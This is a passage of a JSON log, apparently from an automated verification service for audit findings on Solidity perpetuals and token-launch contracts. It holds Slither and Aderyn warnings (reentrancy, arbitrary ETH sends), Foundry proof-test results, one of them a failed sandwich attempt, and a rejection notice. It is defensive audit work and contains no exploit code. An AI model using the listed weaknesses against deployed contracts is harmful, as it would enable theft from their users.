int256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":131,\"README.md\":155,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":439,\"src/IMD6900RobinhoodLaunch.sol\":631,\"src/PoolManagerArtifact.sol\":10,\"src/perps/PerpEngine.sol\":1284,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/FactoryDeployment.t.sol\":64,\"test/HookSalt.sol\":47,\"test/IMD6900RobinhoodLaunch.t.sol\":1320,\"test/Perps.t.sol\":466,\"test/RobinhoodFork.t.sol\":255,\"test/Twap.t.sol\":56,\"test/imd-proof-x/Proof_f904829ff7fb.t.sol\":124},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":19437,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900RobinhoodLaunch.sol:494: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#494-514) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/IMD6900LockedPool.sol:392: IMD6900LockedPool._payOutHeld() (src/IMD6900LockedPool.sol#392-402) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/perps/PerpEngine.sol:1047: PerpEngine._sendEth(address,uint256) (src/perps/PerpEngine.sol#1047-1051) sends eth to arbitrary user\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:582: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#582-692):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/IMD6900RobinhoodLaunch.sol:494: Reentrancy in IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#494-514):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:464: Reentrancy in PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#464-492):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:582: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#582-692):\n[high/medium] reentrancy-eth at src/perps/PerpVault.sol:253: Reentrancy in PerpVault.depositEth() (src/perps/PerpVault.sol#253-281):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[medium/medium] divide-before-multiply at src/perps/PerpEngine.sol:808: PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:303: IMD6900RobinhoodLaunch.withdrawEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#303-309) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpSwapLib.sol:249: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32) (src/perps/PerpSwapLib.sol#249-310) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:317: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#317-348) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:411: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#411-426) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:494: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#494-514) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:411: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#411-426) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:1035: PerpEngine._payOut(address,uint256) (src/perps/PerpEngine.sol#1035-1045) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:1013: PerpEngine._routeFee(uint256,bool) (src/perps/PerpEngine.sol#1013-1031) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:394: IMD6900RobinhoodLaunch.recoverEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#394-404) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:494: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#494-514) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:532: Reentrancy in IMD6900RobinhoodLaunch.burnImd(uint256) (src/IMD6900RobinhoodLaunch.sol#532-552):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:210: Reentrancy in IMD6900RobinhoodLaunch.createHook(bytes32) (src/IMD6900RobinhoodLaunch.sol#210-225):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:435: Reentrancy in IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address) (src/IMD6900RobinhoodLaunch.sol#435-445):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:299: Reentrancy in PerpVault.withdrawEth(uint256) (src/perps/PerpVault.sol#299-319):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:486: Reentrancy in PerpVault.claimPendingEth() (src/perps/PerpVault.sol#486-506):\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:593: PerpEngine._doSweep(address,bool,int256,bool,uint160).pendingIds (src/perps/PerpEngine.sol#593) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:540: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundQuote (src/perps/PerpSwapLib.sol#540) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:541: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundTok (src/perps/PerpSwapLib.sol#541) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:163: PerpSwapLib.projectedSqrtPriceX96(uint160,uint256,uint256,int256,bool,uint160).amountIn (src/perps/PerpSwapLib.sol#163) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:284: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32).lo (src/perps/PerpSwapLib.sol#284) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:381: IMD6900RobinhoodLaunch.setPayees(address[],uint16[]).sum (src/IMD6900RobinhoodLaunch.sol#381) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:640: PerpEngine._doSweep(address,bool,int256,bool,uint160).condemnedRemains (src/perps/PerpEngine.sol#640) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:639: PerpEngine._doSweep(address,bool,int256,bool,uint160).killedAny (src/perps/PerpEngine.sol#639) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:578: IMD6900RobinhoodLaunch.unlockCallback(bytes).sold (src/IMD6900RobinhoodLaunch.sol#578) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:1015: PerpEngine._routeFee(uint256,bool).toVault (src/perps/PerpEngine.sol#1015) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:577: IMD6900RobinhoodLaunch.unlockCallback(bytes).ethOut (src/IMD6900RobinhoodLaunch.sol#577) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:1016: PerpEngine._routeFee(uint256,bool).toIns (src/perps/PerpEngine.sol#1016) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpVault.sol:816: PerpVault.pendingTokYield(address).earned (src/perps/PerpVault.sol#816) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:598: PerpEngine._doSweep(address,bool,int256,bool,uint160).scanned (src/perps/PerpEngine.sol#598) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:637: PerpEngine._doSweep(address,bool,int256,bool,uint160).clean (src/perps/PerpEngine.sol#637) is a local variable never initialized\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:532: IMD6900RobinhoodLaunch.burnImd(uint256) (src/IMD6900RobinhoodLaunch.sol#532-552) ignores return value by (now_,None,None,None) = poolManager.getSlot0(imdPoolKey().toId()) (src/IMD6900RobinhoodLaunch.sol#543)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:612: IMD6900RobinhoodLaunch._setImdRef() (src/IMD6900RobinhoodLaunch.sol#612-616) ignores return value by (p,None,None,None) = poolManager.getSlot0(imdPoolKey().toId()) (src/IMD6900RobinhoodLaunch.sol#613)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-196) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900LockedPool.sol#191)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:570: PerpSwapLib._grossUp(IPoolManager,PoolKey,bool,uint256) (src/perps/PerpSwapLib.sol#570-580) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,PoolIdLibrary.toId(key)) (src/perps/PerpSwapLib.sol#575)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:560: IMD6900RobinhoodLaunch.harvest() (src/IMD6900RobinhoodLaunch.sol#560-563) ignores return value by pool.collect() (src/IMD6900RobinhoodLaunch.sol#561)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:150: IMD6900LockedPool.open(address,uint160,uint256) (src/IMD6900LockedPool.sol#150-171) ignores return value by poolManager.initialize(poolKey(),start) (src/IMD6900LockedPool.sol#162)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:569: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#569-607) ignores return value by poolManager.settle() (src/IMD6900RobinhoodLaunch.sol#587)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:569: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#569-607) ignores return value by (None,back) = pool.feeRefund(address(this)) (src/IMD6900RobinhoodLaunch.sol#582)\n[medium/medium] unused-return at src/perps/PerpEngine.sol:346: PerpEngine._slot0() (src/perps/PerpEngine.sol#346-348) ignores return value by (s,t,None,None) = poolManager.getSlot0(poolId) (src/perps/PerpEngine.sol#347)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:569: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#569-607) ignores return value by poolManager.settle{value: ethIn}() (src/IMD6900RobinhoodLaunch.sol#604)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:208: IMD6900LockedPool.collect() (src/IMD6900LockedPool.sol#208-212) ignores return value by poolManager.unlock(abi.encode(COLLECT,uint128(0))) (src/IMD6900LockedPool.sol#210)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:373: IMD6900LockedPool._liquidityFor(uint256,uint256) (src/IMD6900LockedPool.sol#373-388) ignores return value by (p,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900LockedPool.sol#374)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:317: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#317-348) ignores return value by pool.open(t,sqrtPriceX96,SUPPLY) (src/IMD6900RobinhoodLaunch.sol#332)\n[medium/medium] unused-return at src/IMD6900Hook.sol:106: IMD6900Hook.perpFeeBps() (src/IMD6900Hook.sol#106-112) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,poolId) (src/IMD6900Hook.sol#108)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:304: IMD6900LockedPool.state() (src/IMD6900LockedPool.sol#304-308) ignores return value by (sqrtPriceX96,tick,None,None) = poolManager.getSlot0(id) (src/IMD6900LockedPool.sol#306)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-196) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(old.toId()) (src/IMD6900LockedPool.sol#188)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:359: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#359-370) ignores return value by poolManager.settle() (src/IMD6900LockedPool.sol#366)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle{value: amount}() (src/perps/PerpSwapLib.sol#598)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle() (src/perps/PerpSwapLib.sol#608)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:359: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#359-370) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900LockedPool.sol#361)\n[low/medium] events-maths at src/perps/PerpEngine.sol:1222: PerpEngine.setVaultLimits(uint256,uint256) (src/perps/PerpEngine.sol#1222-1226) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1234: PerpEngine.skimInsurance(uint256,address) (src/perps/PerpEngine.sol#1234-1239) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1200: PerpEngine.setVaultSplit(uint256,uint256) (src/perps/PerpEngine.sol#1200-1204) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1165: PerpEngine.setFees(uint256,uint256,uint256) (src/perps/PerpEngine.sol#1165-1170) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1173: PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256) (src/perps/PerpEngine.sol#1173-1187) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:464: PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#464-492) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1190: PerpEngine.setShortCap(uint256) (src/perps/PerpEngine.sol#1190-1193) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1207: PerpEngine.setGuards(uint32,uint256,uint256) (src/perps/PerpEngine.sol#1207-1214) should emit an event for: \n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:140: IMD6900LockedPool.setHook(address).hook_ (src/IMD6900LockedPool.sol#140) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpVault.sol:198: PerpVault.constructor(address)._engine (src/perps/PerpVault.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:199: IMD6900LockedPool.setCoinFeeTo(address).to (src/IMD6900LockedPool.sol#199) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).timelock_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).launcher_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:79: IMD6900Hook.constructor(IPoolManager,address,address).pool_ (src/IMD6900Hook.sol#79) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:268: PerpEngine.constructor(IPoolManager,address,address,uint24,int24,address,address)._feeSink (src/perps/PerpEngine.sol#268) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:464: IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address).hooks (src/IMD6900RobinhoodLaunch.sol#464) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1195: PerpEngine.setFeeSink(address)._feeSink (src/perps/PerpEngine.sol#1195) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1217: PerpEngine.setVault(address)._vault (src/perps/PerpEngine.sol#1217) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:196: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).timelock_ (src/IMD6900RobinhoodLaunch.sol#196) lacks a zero-check on","passed":true},{"durationMs":1025,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900RobinhoodLaunch.sol:255: `abi.encodePacked()` Hash Collision (3 places)\n[high] contract-locks-ether at src/IMD6900Hook.sol:41: Contract locks Ether without a withdraw function (3 places)\n[high] eth-send-unchecked-address at src/perps/PerpEngine.sol:1054: ETH transferred without address checks\n[high] reentrancy-state-change at src/IMD6900LockedPool.sol:162: Reentrancy: State change after external call (19 places)\n[high] reused-contract-name at src/perps/PerpEngine.sol:15: Contract Name Reused in Different Files\n[high] storage-array-memory-edit at src/perps/PerpEngine.sol:775: Storage Array Edited with Memory\n[high] unsafe-casting at src/perps/PerpEngine.sol:959: Unsafe Casting of integers\n[low] centralization-risk at src/IMD6900Hook.sol:41: Centralization Risk (25 places)\n[low] costly-loop at src/IMD6900RobinhoodLaunch.sol:382: Costly operations inside loop (5 places)\n[low] large-numeric-literal at src/IMD6900.sol:11: Large Numeric Literal (23 places)\n[low] literal-instead-of-constant at src/IMD6900Hook.sol:107: Literal Instead of Constant (33 places)\n[low] local-variable-shadowing at src/perps/PerpEngine.sol:269: Local Variable Shadows State Variable\n[low] non-reentrant-not-first at src/IMD6900RobinhoodLaunch.sol:303: `nonReentrant` is Not the First Modifier (7 places)\n[low] push-zero-opcode at src/IMD6900.sol:2: PUSH0 Opcode (8 places)\n[low] require-revert-in-loop at src/IMD6900RobinhoodLaunch.sol:382: Loop Contains `require`/`revert` (4 places)\n[low] state-change-without-event at src/perps/PerpEngine.sol:360: State Change Without Event (13 places)\n[low] state-no-address-check at src/IMD6900Hook.sol:125: Address State Variable Set Without Checks (9 places)\n[low] unchecked-return at src/IMD6900LockedPool.sol:162: Unchecked Return (10 places)\n[low] uninitialized-local-variable at src/IMD6900RobinhoodLaunch.sol:579: Uninitialized Local Variable (6 places)\n[low] unsafe-erc20-operation at src/perps/PerpSwapLib.sol:454: Unsafe ERC20 Operation (3 places)\n[low] unspecific-solidity-pragma at src/IMD6900.sol:2: Unspecific Solidity Pragma (7 places)\n[low] unused-error at src/perps/PerpVault.sol:190: Unused Error (2 places)\n[low] unused-import at src/PoolManagerArtifact.sol:7: Unused Import (2 places)\n[low] unused-public-function at src/IMD6900Hook.sol:106: Public Function Not Used Internally (3 places)","passed":true},{"durationMs":13794,"exitCode":0,"name":"proof f904829ff7fb","output":"Compiling 90 files with Solc 0.8.26\nSolc 0.8.26 finished in 13.11s\nCompiler run successful with warnings:\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-e436649f/Proof_f904829ff7fb.t.sol:75:49:\n   |\n75 |     function _mineHook() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-e436649f/Proof_f904829ff7fb.t.sol:85:49:\n   |\n85 |     function _mineCoin() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-e436649f/Proof_f904829ff7fb.t.sol:SplitDriftTest\n[PASS] test_FailedPotShareMigratesIntoTheImdBucket() (gas: 2118488)\nLogs:\n  pot's share still reserved for it: 9.000000000000000000\n  imdBucket (spent by burnImd on $IMD): 1.000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.97ms (430.16µs CPU time)\n\nRan 1 test suite in 46.88ms (45.97ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":8145,"exitCode":0,"name":"proof b9db38dbfabe","output":"2026-10-13T19:36:46.262913Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-g0FuvZ/repo/test/imd-proof-e436649f/Proof_f904829ff7fb.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 7.44s\nCompiler run successful with warnings:\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n   --> test/imd-proof-447ca747/Proof_b9db38dbfabe.t.sol:135:49:\n    |\n135 |     function _mineHook() internal view returns (bytes32) {\n    |                                                 ^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n   --> test/imd-proof-447ca747/Proof_b9db38dbfabe.t.sol:144:49:\n    |\n144 |     function _mineCoin() internal view returns (bytes32) {\n    |                                                 ^^^^^^^\n\n\nRan 1 test for test/imd-proof-447ca747/Proof_b9db38dbfabe.t.sol:BurnImdSandwichTest\n[PASS] test_TheBurnBuyCannotBeSandwichedForProfit() (gas: 1092795)\nLogs:\n  burn executor got, clean: 25.432238319547695154\n  burn executor got, sandwiched: 0.000000000000000000\n  attacker profit: -0.050135320165295977\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 83.93ms (469.07µs CPU time)\n\nRan 1 test suite in 84.75ms (83.93ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":23093,"exitCode":1,"name":"proof 29b14c873e8a","output":"2026-10-13T19:36:54.414144Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-g0FuvZ/repo/test/imd-proof-447ca747/Proof_b9db38dbfabe.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 10.63s\nCompiler run successful with warnings:\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n   --> test/imd-proof-1985ccd0/Proof_29b14c873e8a.t.sol:110:53:\n    |\n110 |     function _mineHookSalt() internal view returns (bytes32) {\n    |                                                     ^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n   --> test/imd-proof-1985ccd0/Proof_29b14c873e8a.t.sol:119:53:\n    |\n119 |     function _mineCoinSalt() internal view returns (bytes32) {\n    |                                                     ^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 2 tests for test/imd-proof-1985ccd0/Proof_29b14c873e8a.t.sol:EngineReplaceStrandsTest\n[FAIL: still open, bound to a pool nobody serves: 0 != 1] test_ReplacingTheEngineStrandsOpenPositionsAndLetsTheFeeMove() (gas: 1600098)\n[PASS] test_TurningPerpsOffStrandsOpenPositions() (gas: 975023)\nSuite result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 83.26ms (1.88ms CPU time)\n\nRan 1 test suite in 83.98ms (83.26ms CPU time): 1 tests passed, 1 failed, 0 skipped (2 total tests)\n\nFailing tests:\nEncountered 1 failing test in test/imd-proof-1985ccd0/Proof_29b14c873e8a.t.sol:EngineReplaceStrandsTest\n[FAIL: still open, bound to a pool nobody serves: 0 != 1] test_ReplacingTheEngineStrandsOpenPositionsAndLetsTheFeeMove() (gas: 1600098)\n\nEncountered a total of 1 failing tests, 1 tests succeeded\n\nTip: Run `forge test --rerun` to retry only the 1 failed test\nTip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger\n","passed":false}],"detail":"the proof for \"IMD6900Hook.setPerpEngine (replace or zero) strands every open position in the created engine: its swaps revert NotRefunded, and lowerFee then moves the liquidity although that engine still has positi\" failed on the code it was reported against and still fails on this revision. Make it pass, or answer the finding \"disputed\" if the test itself is wrong.","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"52f358403f979d564bfc3e137b23d454f4c6a5b4c16d8b600e417f12d8463bb3","verifiedTreeHash":"fcdaa47799fc99cb13d7c84f47083b72a9a05e6e","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":35555,"exitCode":0,"name":"build","output":"Compiling 93 files with Solc 0.8.26\nSolc 0.8.26 finished in 35.42s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":297,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 358.32µs (29.00µs CPU time)\n\nRan 1 test for test/FactoryDeployment.t.sol:FactoryDeploymentTest\n[PASS] test_FactoryConstructorWithExactArgumentsAndNoDependencies() (gas: 25560274)\nLogs:\n  factory CREATE2 gas: 8276563\n  factory CREATE2 gas: 8253765\n  factory CREATE2 gas: 8253809\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.81ms (1.66ms CPU time)\n\nRan 2 tests for test/Twap.t.sol:TwapTest\n[PASS] testFuzz_TwapSearchMatchesLinearReference(uint8,uint8,uint16) (runs: 256, μ: 362310, ~: 284984)\nLogs:\n  Bound result 1\n  Bound result 64\n\n[PASS] test_TwapNeedsAtLeastOneSecondOfHistory() (gas: 54172)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.48ms (6.39ms CPU time)\n\nRan 15 tests for test/Perps.t.sol:PerpsTest\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1069913)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1856736)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1895592)\n[PASS] test_EthVaultQueueAndFeeSplitStayBacked() (gas: 1212822)\n[PASS] test_HealthyPositionBlocksFeeMoveAfterOneYear() (gas: 1483307)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 